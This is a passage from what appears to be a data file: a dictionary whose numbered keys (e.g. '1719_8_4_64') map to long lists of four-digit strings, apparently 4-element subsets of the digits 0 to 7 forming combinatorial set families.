['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1719_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1720_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1721_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','2567','3567','4567'] , '1722_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1723_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','2567','3567','4567'] , '1724_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1725_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','0367','1367','2367','0467','3467','0567','1567','2567','3567','4567'] , '1726_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','2567','3567','4567'] , '1727_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1728_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1729_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1730_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','0147','0247','1247','0347','1347','2347','0157','0257','0357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1731_8_4_60' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','0146','0246','1246','0346','1346','2346','0156','0256','0356','0456','1456','2456','3456','0127','0237','1237','0247','1247','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1732_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1733_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1734_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1735_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1736_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1737_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1738_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1739_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1740_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1741_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1742_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1743_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1744_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1745_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1746_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1747_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1748_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1749_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1750_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','1567','2567','3567','4567'] , '1751_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1752_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1753_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0247','1247','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1754_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1755_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1756_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1757_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1758_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1759_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0156','0256','0356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1760_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1761_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1762_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1763_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1764_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','2567','3567','4567'] , '1765_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1766_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','1567','2567','3567','4567'] , '1767_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','2567','3567','4567'] , '1768_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0247','1247','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1769_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1770_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','2567','3567','4567'] , '1771_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1772_8_4_65' : ['0123','0124','0234','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1773_8_4_66' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1774_8_4_66' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1775_8_4_66' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1776_8_4_66' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1777_8_4_66' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','1567','2567','3567','4567'] , '1778_8_4_66' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1779_8_4_66' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1780_8_4_66' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1781_8_4_66' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1782_8_4_66' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1783_8_4_66' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1784_8_4_66' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','1567','2567','3567','4567'] , '1785_8_4_66' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1786_8_4_66' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1787_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','0146','0246','1246','0346','1346','2346','0156','0256','0356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1788_8_4_66' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1789_8_4_66' : 